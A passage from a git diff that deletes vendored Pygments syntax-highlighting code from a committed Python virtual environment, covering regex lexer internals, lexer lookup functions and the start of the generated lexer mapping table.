Callback that processes the match with a different lexer. - - The keyword arguments are forwarded to the lexer, except `state` which - is handled separately. - - `state` specifies the state that the new lexer will start in, and can - be an enumerable such as ('root', 'inline', 'string') or a simple - string which is assumed to be on top of the root state. - - Note: For that to work, `_other` must not be an `ExtendedRegexLexer`. - """ - gt_kwargs = {} - if 'state' in kwargs: - s = kwargs.pop('state') - if isinstance(s, (list, tuple)): - gt_kwargs['stack'] = s - else: - gt_kwargs['stack'] = ('root', s) - - if _other is this: - def callback(lexer, match, ctx=None): - # if keyword arguments are given the callback - # function has to create a new lexer instance - if kwargs: - # XXX: cache that somehow - d = dict(lexer.options) - d.update(kwargs) - lx = lexer.__class__(**d) - else: - lx = lexer - s = match.start() - for i, t, v in lx.get_tokens_unprocessed(match.group(), **gt_kwargs): - yield i + s, t, v - if ctx: - ctx.pos = match.end() - else: - def callback(lexer, match, ctx=None): - # XXX: cache that somehow - d = dict(lexer.options) - d.update(kwargs) - lx = _other(**d) - - s = match.start() - for i, t, v in lx.get_tokens_unprocessed(match.group(), **gt_kwargs): - yield i + s, t, v - if ctx: - ctx.pos = match.end() - return callback - - -class default: - """ - Indicates a state or state action (e.g. #pop) to apply. - For example default('#pop') is equivalent to ('', Token, '#pop') - Note that state tuples may be used as well. - - .. versionadded:: 2.0 - """ - def __init__(self, state): - self.state = state - - -class words(Future): - """ - Indicates a list of literal words that is transformed into an optimized - regex that matches any of the words. - - .. versionadded:: 2.0 - """ - def __init__(self, words, prefix='', suffix=''): - self.words = words - self.prefix = prefix - self.suffix = suffix - - def get(self): - return regex_opt(self.words, prefix=self.prefix, suffix=self.suffix) - - -class RegexLexerMeta(LexerMeta): - """ - Metaclass for RegexLexer, creates the self._tokens attribute from - self.tokens on the first instantiation. - """ - - def _process_regex(cls, regex, rflags, state): - """Preprocess the regular expression component of a token definition.""" - if isinstance(regex, Future): - regex = regex.get() - return re.compile(regex, rflags).match - - def _process_token(cls, token): - """Preprocess the token component of a token definition.""" - assert type(token) is _TokenType or callable(token), \ - f'token type must be simple type or callable, not {token!r}' - return token - - def _process_new_state(cls, new_state, unprocessed, processed): - """Preprocess the state transition action of a token definition.""" - if isinstance(new_state, str): - # an existing state - if new_state == '#pop': - return -1 - elif new_state in unprocessed: - return (new_state,) - elif new_state == '#push': - return new_state - elif new_state[:5] == '#pop:': - return -int(new_state[5:]) - else: - assert False, f'unknown new state {new_state!r}' - elif isinstance(new_state, combined): - # combine a new state from existing ones - tmp_state = '_tmp_%d' % cls._tmpname - cls._tmpname += 1 - itokens = [] - for istate in new_state: - assert istate != new_state, f'circular state ref {istate!r}' - itokens.extend(cls._process_state(unprocessed, - processed, istate)) - processed[tmp_state] = itokens - return (tmp_state,) - elif isinstance(new_state, tuple): - # push more than one state - for istate in new_state: - assert (istate in unprocessed or - istate in ('#pop', '#push')), \ - 'unknown new state ' + istate - return new_state - else: - assert False, f'unknown new state def {new_state!r}' - - def _process_state(cls, unprocessed, processed, state): - """Preprocess a single state definition.""" - assert isinstance(state, str), f"wrong state name {state!r}" - assert state[0] != '#', f"invalid state name {state!r}" - if state in processed: - return processed[state] - tokens = processed[state] = [] - rflags = cls.flags - for tdef in unprocessed[state]: - if isinstance(tdef, include): - # it's a state reference - assert tdef != state, f"circular state reference {state!r}" - tokens.extend(cls._process_state(unprocessed, processed, - str(tdef))) - continue - if isinstance(tdef, _inherit): - # should be processed already, but may not in the case of: - # 1. the state has no counterpart in any parent - # 2. the state includes more than one 'inherit' - continue - if isinstance(tdef, default): - new_state = cls._process_new_state(tdef.state, unprocessed, processed) - tokens.append((re.compile('').match, None, new_state)) - continue - - assert type(tdef) is tuple, f"wrong rule def {tdef!r}" - - try: - rex = cls._process_regex(tdef[0], rflags, state) - except Exception as err: - raise ValueError(f"uncompilable regex {tdef[0]!r} in state {state!r} of {cls!r}: {err}") from err - - token = cls._process_token(tdef[1]) - - if len(tdef) == 2: - new_state = None - else: - new_state = cls._process_new_state(tdef[2], - unprocessed, processed) - - tokens.append((rex, token, new_state)) - return tokens - - def process_tokendef(cls, name, tokendefs=None): - """Preprocess a dictionary of token definitions.""" - processed = cls._all_tokens[name] = {} - tokendefs = tokendefs or cls.tokens[name] - for state in list(tokendefs): - cls._process_state(tokendefs, processed, state) - return processed - - def get_tokendefs(cls): - """ - Merge tokens from superclasses in MRO order, returning a single tokendef - dictionary. - - Any state that is not defined by a subclass will be inherited - automatically. States that *are* defined by subclasses will, by - default, override that state in the superclass. If a subclass wishes to - inherit definitions from a superclass, it can use the special value - "inherit", which will cause the superclass' state definition to be - included at that point in the state. - """ - tokens = {} - inheritable = {} - for c in cls.__mro__: - toks = c.__dict__.get('tokens', {}) - - for state, items in toks.items(): - curitems = tokens.get(state) - if curitems is None: - # N.b. because this is assigned by reference, sufficiently - # deep hierarchies are processed incrementally (e.g. for - # A(B), B(C), C(RegexLexer), B will be premodified so X(B) - # will not see any inherits in B). - tokens[state] = items - try: - inherit_ndx = items.index(inherit) - except ValueError: - continue - inheritable[state] = inherit_ndx - continue - - inherit_ndx = inheritable.pop(state, None) - if inherit_ndx is None: - continue - - # Replace the "inherit" value with the items - curitems[inherit_ndx:inherit_ndx+1] = items - try: - # N.b. this is the index in items (that is, the superclass - # copy), so offset required when storing below. - new_inh_ndx = items.index(inherit) - except ValueError: - pass - else: - inheritable[state] = inherit_ndx + new_inh_ndx - - return tokens - - def __call__(cls, *args, **kwds): - """Instantiate cls after preprocessing its token definitions.""" - if '_tokens' not in cls.__dict__: - cls._all_tokens = {} - cls._tmpname = 0 - if hasattr(cls, 'token_variants') and cls.token_variants: - # don't process yet - pass - else: - cls._tokens = cls.process_tokendef('', cls.get_tokendefs()) - - return type.__call__(cls, *args, **kwds) - - -class RegexLexer(Lexer, metaclass=RegexLexerMeta): - """ - Base for simple stateful regular expression-based lexers. - Simplifies the lexing process so that you need only - provide a list of states and regular expressions. - """ - - #: Flags for compiling the regular expressions. - #: Defaults to MULTILINE. - flags = re.MULTILINE - - #: At all time there is a stack of states. Initially, the stack contains - #: a single state 'root'. The top of the stack is called "the current state". - #: - #: Dict of ``{'state': [(regex, tokentype, new_state), ...], ...}`` - #: - #: ``new_state`` can be omitted to signify no state transition. - #: If ``new_state`` is a string, it is pushed on the stack. This ensure - #: the new current state is ``new_state``. - #: If ``new_state`` is a tuple of strings, all of those strings are pushed - #: on the stack and the current state will be the last element of the list. - #: ``new_state`` can also be ``combined('state1', 'state2', ...)`` - #: to signify a new, anonymous state combined from the rules of two - #: or more existing ones. - #: Furthermore, it can be '#pop' to signify going back one step in - #: the state stack, or '#push' to push the current state on the stack - #: again. Note that if you push while in a combined state, the combined - #: state itself is pushed, and not only the state in which the rule is - #: defined. - #: - #: The tuple can also be replaced with ``include('state')``, in which - #: case the rules from the state named by the string are included in the - #: current one. - tokens = {} - - def get_tokens_unprocessed(self, text, stack=('root',)): - """ - Split ``text`` into (tokentype, text) pairs. - - ``stack`` is the initial stack (default: ``['root']``) - """ - pos = 0 - tokendefs = self._tokens - statestack = list(stack) - statetokens = tokendefs[statestack[-1]] - while 1: - for rexmatch, action, new_state in statetokens: - m = rexmatch(text, pos) - if m: - if action is not None: - if type(action) is _TokenType: - yield pos, action, m.group() - else: - yield from action(self, m) - pos = m.end() - if new_state is not None: - # state transition - if isinstance(new_state, tuple): - for state in new_state: - if state == '#pop': - if len(statestack) > 1: - statestack.pop() - elif state == '#push': - statestack.append(statestack[-1]) - else: - statestack.append(state) - elif isinstance(new_state, int): - # pop, but keep at least one state on the stack - # (random code leading to unexpected pops should - # not allow exceptions) - if abs(new_state) >= len(statestack): - del statestack[1:] - else: - del statestack[new_state:] - elif new_state == '#push': - statestack.append(statestack[-1]) - else: - assert False, f"wrong state def: {new_state!r}" - statetokens = tokendefs[statestack[-1]] - break - else: - # We are here only if all state tokens have been considered - # and there was not a match on any of them. - try: - if text[pos] == '\n': - # at EOL, reset state to "root" - statestack = ['root'] - statetokens = tokendefs['root'] - yield pos, Whitespace, '\n' - pos += 1 - continue - yield pos, Error, text[pos] - pos += 1 - except IndexError: - break - - -class LexerContext: - """ - A helper object that holds lexer position data. - """ - - def __init__(self, text, pos, stack=None, end=None): - self.text = text - self.pos = pos - self.end = end or len(text) # end=0 not supported ;-) - self.stack = stack or ['root'] - - def __repr__(self): - return f'LexerContext({self.text!r}, {self.pos!r}, {self.stack!r})' - - -class ExtendedRegexLexer(RegexLexer): - """ - A RegexLexer that uses a context object to store its state. - """ - - def get_tokens_unprocessed(self, text=None, context=None): - """ - Split ``text`` into (tokentype, text) pairs. - If ``context`` is given, use this lexer context instead. - """ - tokendefs = self._tokens - if not context: - ctx = LexerContext(text, 0) - statetokens = tokendefs['root'] - else: - ctx = context - statetokens = tokendefs[ctx.stack[-1]] - text = ctx.text - while 1: - for rexmatch, action, new_state in statetokens: - m = rexmatch(text, ctx.pos, ctx.end) - if m: - if action is not None: - if type(action) is _TokenType: - yield ctx.pos, action, m.group() - ctx.pos = m.end() - else: - yield from action(self, m, ctx) - if not new_state: - # altered the state stack? - statetokens = tokendefs[ctx.stack[-1]] - # CAUTION: callback must set ctx.pos! - if new_state is not None: - # state transition - if isinstance(new_state, tuple): - for state in new_state: - if state == '#pop': - if len(ctx.stack) > 1: - ctx.stack.pop() - elif state == '#push': - ctx.stack.append(ctx.stack[-1]) - else: - ctx.stack.append(state) - elif isinstance(new_state, int): - # see RegexLexer for why this check is made - if abs(new_state) >= len(ctx.stack): - del ctx.stack[1:] - else: - del ctx.stack[new_state:] - elif new_state == '#push': - ctx.stack.append(ctx.stack[-1]) - else: - assert False, f"wrong state def: {new_state!r}" - statetokens = tokendefs[ctx.stack[-1]] - break - else: - try: - if ctx.pos >= ctx.end: - break - if text[ctx.pos] == '\n': - # at EOL, reset state to "root" - ctx.stack = ['root'] - statetokens = tokendefs['root'] - yield ctx.pos, Text, '\n' - ctx.pos += 1 - continue - yield ctx.pos, Error, text[ctx.pos] - ctx.pos += 1 - except IndexError: - break - - -def do_insertions(insertions, tokens): - """ - Helper for lexers which must combine the results of several - sublexers. - - ``insertions`` is a list of ``(index, itokens)`` pairs. - Each ``itokens`` iterable should be inserted at position - ``index`` into the token stream given by the ``tokens`` - argument. - - The result is a combined token stream. - - TODO: clean up the code here. - """ - insertions = iter(insertions) - try: - index, itokens = next(insertions) - except StopIteration: - # no insertions - yield from tokens - return - - realpos = None - insleft = True - - # iterate over the token stream where we want to insert - # the tokens from the insertion list. - for i, t, v in tokens: - # first iteration. store the position of first item - if realpos is None: - realpos = i - oldi = 0 - while insleft and i + len(v) >= index: - tmpval = v[oldi:index - i] - if tmpval: - yield realpos, t, tmpval - realpos += len(tmpval) - for it_index, it_token, it_value in itokens: - yield realpos, it_token, it_value - realpos += len(it_value) - oldi = index - i - try: - index, itokens = next(insertions) - except StopIteration: - insleft = False - break # not strictly necessary - if oldi < len(v): - yield realpos, t, v[oldi:] - realpos += len(v) - oldi - - # leftover tokens - while insleft: - # no normal tokens, set realpos to zero - realpos = realpos or 0 - for p, t, v in itokens: - yield realpos, t, v - realpos += len(v) - try: - index, itokens = next(insertions) - except StopIteration: - insleft = False - break # not strictly necessary - - -class ProfilingRegexLexerMeta(RegexLexerMeta): - """Metaclass for ProfilingRegexLexer, collects regex timing info.""" - - def _process_regex(cls, regex, rflags, state): - if isinstance(regex, words): - rex = regex_opt(regex.words, prefix=regex.prefix, - suffix=regex.suffix) - else: - rex = regex - compiled = re.compile(rex, rflags) - - def match_func(text, pos, endpos=sys.maxsize): - info = cls._prof_data[-1].setdefault((state, rex), [0, 0.0]) - t0 = time.time() - res = compiled.match(text, pos, endpos) - t1 = time.time() - info[0] += 1 - info[1] += t1 - t0 - return res - return match_func - - -class ProfilingRegexLexer(RegexLexer, metaclass=ProfilingRegexLexerMeta): - """Drop-in replacement for RegexLexer that does profiling of its regexes.""" - - _prof_data = [] - _prof_sort_index = 4 # defaults to time per call - - def get_tokens_unprocessed(self, text, stack=('root',)): - # this needs to be a stack, since using(this) will produce nested calls - self.__class__._prof_data.append({}) - yield from RegexLexer.get_tokens_unprocessed(self, text, stack) - rawdata = self.__class__._prof_data.pop() - data = sorted(((s, repr(r).strip('u\'').replace('\\\\', '\\')[:65], - n, 1000 * t, 1000 * t / n) - for ((s, r), (n, t)) in rawdata.items()), - key=lambda x: x[self._prof_sort_index], - reverse=True) - sum_total = sum(x[3] for x in data) - - print() - print('Profiling result for %s lexing %d chars in %.3f ms' % - (self.__class__.__name__, len(text), sum_total)) - print('=' * 110) - print('%-20s %-64s ncalls tottime percall' % ('state', 'regex')) - print('-' * 110) - for d in data: - print('%-20s %-65s %5d %8.4f %8.4f' % d) - print('=' * 110) diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/lexers/__init__.py b/venv/Lib/site-packages/pip/_vendor/pygments/lexers/__init__.py deleted file mode 100644 index 7dcb103625dc76cbedd80e1d32c466ac926a4ba1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pygments/lexers/__init__.py +++ /dev/null @@ -1,362 +0,0 @@ -""" - pygments.lexers - ~~~~~~~~~~~~~~~ - - Pygments lexers. - - :copyright: Copyright 2006-present by the Pygments team, see AUTHORS. - :license: BSD, see LICENSE for details. -""" - -import re -import sys -import types -import fnmatch -from os.path import basename - -from pip._vendor.pygments.lexers._mapping import LEXERS -from pip._vendor.pygments.modeline import get_filetype_from_buffer -from pip._vendor.pygments.plugin import find_plugin_lexers -from pip._vendor.pygments.util import ClassNotFound, guess_decode - -COMPAT = { - 'Python3Lexer': 'PythonLexer', - 'Python3TracebackLexer': 'PythonTracebackLexer', - 'LeanLexer': 'Lean3Lexer', -} - -__all__ = ['get_lexer_by_name', 'get_lexer_for_filename', 'find_lexer_class', - 'guess_lexer', 'load_lexer_from_file'] + list(LEXERS) + list(COMPAT) - -_lexer_cache = {} -_pattern_cache = {} - - -def _fn_matches(fn, glob): - """Return whether the supplied file name fn matches pattern filename.""" - if glob not in _pattern_cache: - pattern = _pattern_cache[glob] = re.compile(fnmatch.translate(glob)) - return pattern.match(fn) - return _pattern_cache[glob].match(fn) - - -def _load_lexers(module_name): - """Load a lexer (and all others in the module too).""" - mod = __import__(module_name, None, None, ['__all__']) - for lexer_name in mod.__all__: - cls = getattr(mod, lexer_name) - _lexer_cache[cls.name] = cls - - -def get_all_lexers(plugins=True): - """Return a generator of tuples in the form ``(name, aliases, - filenames, mimetypes)`` of all know lexers. - - If *plugins* is true (the default), plugin lexers supplied by entrypoints - are also returned. Otherwise, only builtin ones are considered. - """ - for item in LEXERS.values(): - yield item[1:] - if plugins: - for lexer in find_plugin_lexers(): - yield lexer.name, lexer.aliases, lexer.filenames, lexer.mimetypes - - -def find_lexer_class(name): - """ - Return the `Lexer` subclass that with the *name* attribute as given by - the *name* argument. - """ - if name in _lexer_cache: - return _lexer_cache[name] - # lookup builtin lexers - for module_name, lname, aliases, _, _ in LEXERS.values(): - if name == lname: - _load_lexers(module_name) - return _lexer_cache[name] - # continue with lexers from setuptools entrypoints - for cls in find_plugin_lexers(): - if cls.name == name: - return cls - - -def find_lexer_class_by_name(_alias): - """ - Return the `Lexer` subclass that has `alias` in its aliases list, without - instantiating it. - - Like `get_lexer_by_name`, but does not instantiate the class. - - Will raise :exc:`pygments.util.ClassNotFound` if no lexer with that alias is - found. - - .. versionadded:: 2.2 - """ - if not _alias: - raise ClassNotFound(f'no lexer for alias {_alias!r} found') - # lookup builtin lexers - for module_name, name, aliases, _, _ in LEXERS.values(): - if _alias.lower() in aliases: - if name not in _lexer_cache: - _load_lexers(module_name) - return _lexer_cache[name] - # continue with lexers from setuptools entrypoints - for cls in find_plugin_lexers(): - if _alias.lower() in cls.aliases: - return cls - raise ClassNotFound(f'no lexer for alias {_alias!r} found') - - -def get_lexer_by_name(_alias, **options): - """ - Return an instance of a `Lexer` subclass that has `alias` in its - aliases list. The lexer is given the `options` at its - instantiation. - - Will raise :exc:`pygments.util.ClassNotFound` if no lexer with that alias is - found. - """ - if not _alias: - raise ClassNotFound(f'no lexer for alias {_alias!r} found') - - # lookup builtin lexers - for module_name, name, aliases, _, _ in LEXERS.values(): - if _alias.lower() in aliases: - if name not in _lexer_cache: - _load_lexers(module_name) - return _lexer_cache[name](**options) - # continue with lexers from setuptools entrypoints - for cls in find_plugin_lexers(): - if _alias.lower() in cls.aliases: - return cls(**options) - raise ClassNotFound(f'no lexer for alias {_alias!r} found') - - -def load_lexer_from_file(filename, lexername="CustomLexer", **options): - """Load a lexer from a file. - - This method expects a file located relative to the current working - directory, which contains a Lexer class. By default, it expects the - Lexer to be name CustomLexer; you can specify your own class name - as the second argument to this function. - - Users should be very careful with the input, because this method - is equivalent to running eval on the input file. - - Raises ClassNotFound if there are any problems importing the Lexer. - - .. versionadded:: 2.2 - """ - try: - # This empty dict will contain the namespace for the exec'd file - custom_namespace = {} - with open(filename, 'rb') as f: - exec(f.read(), custom_namespace) - # Retrieve the class `lexername` from that namespace - if lexername not in custom_namespace: - raise ClassNotFound(f'no valid {lexername} class found in {filename}') - lexer_class = custom_namespace[lexername] - # And finally instantiate it with the options - return lexer_class(**options) - except OSError as err: - raise ClassNotFound(f'cannot read {filename}: {err}') - except ClassNotFound: - raise - except Exception as err: - raise ClassNotFound(f'error when loading custom lexer: {err}') - - -def find_lexer_class_for_filename(_fn, code=None): - """Get a lexer for a filename. - - If multiple lexers match the filename pattern, use ``analyse_text()`` to - figure out which one is more appropriate. - - Returns None if not found. - """ - matches = [] - fn = basename(_fn) - for modname, name, _, filenames, _ in LEXERS.values(): - for filename in filenames: - if _fn_matches(fn, filename): - if name not in _lexer_cache: - _load_lexers(modname) - matches.append((_lexer_cache[name], filename)) - for cls in find_plugin_lexers(): - for filename in cls.filenames: - if _fn_matches(fn, filename): - matches.append((cls, filename)) - - if isinstance(code, bytes): - # decode it, since all analyse_text functions expect unicode - code = guess_decode(code) - - def get_rating(info): - cls, filename = info - # explicit patterns get a bonus - bonus = '*' not in filename and 0.5 or 0 - # The class _always_ defines analyse_text because it's included in - # the Lexer class. The default implementation returns None which - # gets turned into 0.0. Run scripts/detect_missing_analyse_text.py - # to find lexers which need it overridden. - if code: - return cls.analyse_text(code) + bonus, cls.__name__ - return cls.priority + bonus, cls.__name__ - - if matches: - matches.sort(key=get_rating) - # print "Possible lexers, after sort:", matches - return matches[-1][0] - - -def get_lexer_for_filename(_fn, code=None, **options): - """Get a lexer for a filename. - - Return a `Lexer` subclass instance that has a filename pattern - matching `fn`. The lexer is given the `options` at its - instantiation. - - Raise :exc:`pygments.util.ClassNotFound` if no lexer for that filename - is found. - - If multiple lexers match the filename pattern, use their ``analyse_text()`` - methods to figure out which one is more appropriate. - """ - res = find_lexer_class_for_filename(_fn, code) - if not res: - raise ClassNotFound(f'no lexer for filename {_fn!r} found') - return res(**options) - - -def get_lexer_for_mimetype(_mime, **options): - """ - Return a `Lexer` subclass instance that has `mime` in its mimetype - list. The lexer is given the `options` at its instantiation. - - Will raise :exc:`pygments.util.ClassNotFound` if not lexer for that mimetype - is found. - """ - for modname, name, _, _, mimetypes in LEXERS.values(): - if _mime in mimetypes: - if name not in _lexer_cache: - _load_lexers(modname) - return _lexer_cache[name](**options) - for cls in find_plugin_lexers(): - if _mime in cls.mimetypes: - return cls(**options) - raise ClassNotFound(f'no lexer for mimetype {_mime!r} found') - - -def _iter_lexerclasses(plugins=True): - """Return an iterator over all lexer classes.""" - for key in sorted(LEXERS): - module_name, name = LEXERS[key][:2] - if name not in _lexer_cache: - _load_lexers(module_name) - yield _lexer_cache[name] - if plugins: - yield from find_plugin_lexers() - - -def guess_lexer_for_filename(_fn, _text, **options): - """ - As :func:`guess_lexer()`, but only lexers which have a pattern in `filenames` - or `alias_filenames` that matches `filename` are taken into consideration. - - :exc:`pygments.util.ClassNotFound` is raised if no lexer thinks it can - handle the content. - """ - fn = basename(_fn) - primary = {} - matching_lexers = set() - for lexer in _iter_lexerclasses(): - for filename in lexer.filenames: - if _fn_matches(fn, filename): - matching_lexers.add(lexer) - primary[lexer] = True - for filename in lexer.alias_filenames: - if _fn_matches(fn, filename): - matching_lexers.add(lexer) - primary[lexer] = False - if not matching_lexers: - raise ClassNotFound(f'no lexer for filename {fn!r} found') - if len(matching_lexers) == 1: - return matching_lexers.pop()(**options) - result = [] - for lexer in matching_lexers: - rv = lexer.analyse_text(_text) - if rv == 1.0: - return lexer(**options) - result.append((rv, lexer)) - - def type_sort(t): - # sort by: - # - analyse score - # - is primary filename pattern? - # - priority - # - last resort: class name - return (t[0], primary[t[1]], t[1].priority, t[1].__name__) - result.sort(key=type_sort) - - return result[-1][1](**options) - - -def guess_lexer(_text, **options): - """ - Return a `Lexer` subclass instance that's guessed from the text in - `text`. For that, the :meth:`.analyse_text()` method of every known lexer - class is called with the text as argument, and the lexer which returned the - highest value will be instantiated and returned. - - :exc:`pygments.util.ClassNotFound` is raised if no lexer thinks it can - handle the content. - """ - - if not isinstance(_text, str): - inencoding = options.get('inencoding', options.get('encoding')) - if inencoding: - _text = _text.decode(inencoding or 'utf8') - else: - _text, _ = guess_decode(_text) - - # try to get a vim modeline first - ft = get_filetype_from_buffer(_text) - - if ft is not None: - try: - return get_lexer_by_name(ft, **options) - except ClassNotFound: - pass - - best_lexer = [0.0, None] - for lexer in _iter_lexerclasses(): - rv = lexer.analyse_text(_text) - if rv == 1.0: - return lexer(**options) - if rv > best_lexer[0]: - best_lexer[:] = (rv, lexer) - if not best_lexer[0] or best_lexer[1] is None: - raise ClassNotFound('no lexer matching the text found') - return best_lexer[1](**options) - - -class _automodule(types.ModuleType): - """Automatically import lexers.""" - - def __getattr__(self, name): - info = LEXERS.get(name) - if info: - _load_lexers(info[0]) - cls = _lexer_cache[info[1]] - setattr(self, name, cls) - return cls - if name in COMPAT: - return getattr(self, COMPAT[name]) - raise AttributeError(name) - - -oldmod = sys.modules[__name__] -newmod = _automodule(__name__) -newmod.__dict__.update(oldmod.__dict__) -sys.modules[__name__] = newmod -del newmod.newmod, newmod.oldmod, newmod.sys, newmod.types diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/lexers/_mapping.py b/venv/Lib/site-packages/pip/_vendor/pygments/lexers/_mapping.py deleted file mode 100644 index 3e91bf571abd2097f94a7f02fb71dcbffe0eccc0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pygments/lexers/_mapping.py +++ /dev/null @@ -1,603 +0,0 @@ -# Automatically generated by scripts/gen_mapfiles.py. -# DO NOT EDIT BY HAND; run `tox -e mapfiles` instead. - -LEXERS = { - 'ABAPLexer': ('pip._vendor.pygments.lexers.business', 'ABAP', ('abap',), ('*.abap', '*.ABAP'), ('text/x-abap',)), - 'AMDGPULexer': ('pip._vendor.pygments.lexers.amdgpu', 'AMDGPU', ('amdgpu',), ('*.isa',), ()), - 'APLLexer': ('pip._vendor.pygments.lexers.apl', 'APL', ('apl',), ('*.apl', '*.aplf', '*.aplo', '*.apln', '*.aplc', '*.apli', '*.dyalog'), ()), - 'AbnfLexer': ('pip._vendor.pygments.lexers.grammar_notation', 'ABNF', ('abnf',), ('*.abnf',), ('text/x-abnf',)), - 'ActionScript3Lexer': ('pip._vendor.pygments.lexers.actionscript', 'ActionScript 3', ('actionscript3', 'as3'), ('*.as',), ('application/x-actionscript3', 'text/x-actionscript3', 'text/actionscript3')), - 'ActionScriptLexer': ('pip._vendor.pygments.lexers.actionscript', 'ActionScript', ('actionscript', 'as'), ('*.as',), ('application/x-actionscript', 'text/x-actionscript', 'text/actionscript')), - 'AdaLexer': ('pip._vendor.pygments.lexers.ada', 'Ada', ('ada', 'ada95', 'ada2005'), ('*.adb', '*.ads', '*.ada'), ('text/x-ada',)), - 'AdlLexer': ('pip._vendor.pygments.lexers.archetype', 'ADL', ('adl',), ('*.adl', '*.adls', '*.adlf', '*.adlx'), ()), - 'AgdaLexer': ('pip._vendor.pygments.lexers.haskell', 'Agda', ('agda',), ('*.agda',), ('text/x-agda',)), - 'AheuiLexer': ('pip._vendor.pygments.lexers.esoteric', 'Aheui', ('aheui',), ('*.aheui',), ()), - 'AlloyLexer': ('pip._vendor.pygments.lexers.dsls', 'Alloy', ('alloy',), ('*.als',), ('text/x-alloy',)), - 'AmbientTalkLexer': ('pip._vendor.pygments.lexers.ambient', 'AmbientTalk', ('ambienttalk', 'ambienttalk/2', 'at'), ('*.at',), ('text/x-ambienttalk',)), - 'AmplLexer': ('pip._vendor.pygments.lexers.ampl', 'Ampl', ('ampl',), ('*.run',), ()), - 'Angular2HtmlLexer': ('pip._vendor.pygments.lexers.templates', 'HTML + Angular2', ('html+ng2',), ('*.ng2',), ()), - 'Angular2Lexer': ('pip._vendor.pygments.lexers.templates', 'Angular2', ('ng2',), (), ()), - 'AntlrActionScriptLexer': ('pip._vendor.pygments.lexers.parsers', 'ANTLR With ActionScript Target', ('antlr-actionscript', 'antlr-as'), ('*.G', '*.g'), ()), - 'AntlrCSharpLexer': ('pip._vendor.pygments.lexers.parsers', 'ANTLR With C# Target', ('antlr-csharp', 'antlr-c#'), ('*.G', '*.g'), ()), - 'AntlrCppLexer': ('pip._vendor.pygments.lexers.parsers', 'ANTLR With CPP Target', ('antlr-cpp',), ('*.G', '*.g'), ()), - 'AntlrJavaLexer': ('pip._vendor.pygments.lexers.parsers', 'ANTLR With Java Target', ('antlr-java',), ('*.G', '*.g'), ()), - 'AntlrLexer': ('pip._vendor.pygments.lexers.parsers', 'ANTLR', ('antlr',), (), ()), - 'AntlrObjectiveCLexer': ('pip._vendor.pygments.lexers.parsers', 'ANTLR With ObjectiveC Target', ('antlr-objc',), ('*.G', '*.g'), ()), - 'AntlrPerlLexer': ('pip._vendor.pygments.lexers.parsers', 'ANTLR With Perl Target', ('antlr-perl',), ('*.G', '*.g'), ()), - 'AntlrPythonLexer': ('pip._vendor.pygments.lexers.parsers', 'ANTLR With Python Target', ('antlr-python',), ('*.G', '*.g'), ()), - 'AntlrRubyLexer': ('pip._vendor.pygments.lexers.parsers', 'ANTLR With Ruby Target', ('antlr-ruby', 'antlr-rb'), ('*.G', '*.g'), ()), - 'ApacheConfLexer': ('pip._vendor.pygments.lexers.configs', 'ApacheConf', ('apacheconf', 'aconf', 'apache'), ('.htaccess', 'apache.conf', 'apache2.conf'), ('text/x-apacheconf',)), - 'AppleScriptLexer': ('pip._vendor.pygments.lexers.scripting', 'AppleScript', ('applescript',), ('*.applescript',), ()), - 'ArduinoLexer': ('pip._vendor.pygments.lexers.c_like', 'Arduino', ('arduino',), ('*.ino',), ('text/x-arduino',)), - 'ArrowLexer': ('pip._vendor.pygments.lexers.arrow', 'Arrow', ('arrow',), ('*.arw',), ()), - 'ArturoLexer': ('pip._vendor.pygments.lexers.arturo', 'Arturo', ('arturo', 'art'), ('*.art',), ()), - 'AscLexer': ('pip._vendor.pygments.lexers.asc', 'ASCII armored', ('asc', 'pem'), ('*.asc', '*.pem', 'id_dsa', 'id_ecdsa', 'id_ecdsa_sk', 'id_ed25519', 'id_ed25519_sk', 'id_rsa'), ('application/pgp-keys', 'application/pgp-encrypted', 'application/pgp-signature', 'application/pem-certificate-chain')), - 'Asn1Lexer': ('pip._vendor.pygments.lexers.asn1', 'ASN.1', ('asn1',), ('*.asn1',), ()), - 'AspectJLexer': ('pip._vendor.pygments.lexers.jvm', 'AspectJ', ('aspectj',), ('*.aj',), ('text/x-aspectj',)), - 'AsymptoteLexer': ('pip._vendor.pygments.lexers.graphics', 'Asymptote', ('asymptote', 'asy'), ('*.asy',), ('text/x-asymptote',)), - 'AugeasLexer': ('pip._vendor.pygments.lexers.configs', 'Augeas', ('augeas',), ('*.aug',), ()), - 'AutoItLexer': ('pip._vendor.pygments.lexers.automation', 'AutoIt', ('autoit',), ('*.au3',), ('text/x-autoit',)), - 'AutohotkeyLexer': ('pip._vendor.pygments.lexers.automation', 'autohotkey', ('autohotkey', 'ahk'), ('*.ahk', '*.ahkl'), ('text/x-autohotkey',)), - 'AwkLexer': ('pip._vendor.pygments.lexers.textedit', 'Awk', ('awk', 'gawk', 'mawk', 'nawk'), ('*.awk',), ('application/x-awk',)), - 'BBCBasicLexer': ('pip._vendor.pygments.lexers.basic', 'BBC Basic', ('bbcbasic',), ('*.bbc',), ()), - 'BBCodeLexer': ('pip._vendor.pygments.lexers.markup', 'BBCode', ('bbcode',), (), ('text/x-bbcode',)), - 'BCLexer': ('pip._vendor.pygments.lexers.algebra', 'BC', ('bc',), ('*.bc',), ()), - 'BQNLexer': ('pip._vendor.pygments.lexers.bqn', 'BQN', ('bqn',), ('*.bqn',), ()), - 'BSTLexer': ('pip._vendor.pygments.lexers.bibtex', 'BST', ('bst', 'bst-pybtex'), ('*.bst',), ()), - 'BareLexer': ('pip._vendor.pygments.lexers.bare', 'BARE', ('bare',), ('*.bare',), ()), - 'BaseMakefileLexer': ('pip._vendor.pygments.lexers.make', 'Base Makefile', ('basemake',), (), ()), - 'BashLexer': ('pip._vendor.pygments.lexers.shell', 'Bash', ('bash', 'sh', 'ksh', 'zsh', 'shell', 'openrc'), ('*.sh', '*.ksh', '*.bash', '*.ebuild', '*.eclass', '*.exheres-0', '*.exlib', '*.zsh', '.bashrc', 'bashrc', '.bash_*', 'bash_*', 'zshrc', '.zshrc', '.kshrc', 'kshrc', 'PKGBUILD'), ('application/x-sh', 'application/x-shellscript', 'text/x-shellscript')), - 'BashSessionLexer': ('pip._vendor.pygments.lexers.shell', 'Bash Session', ('console', 'shell-session'), ('*.sh-session', '*.shell-session'), ('application/x-shell-session', 'application/x-sh-session')), - 'BatchLexer': ('pip._vendor.pygments.lexers.shell', 'Batchfile', ('batch', 'bat', 'dosbatch', 'winbatch'), ('*.bat', '*.cmd'), 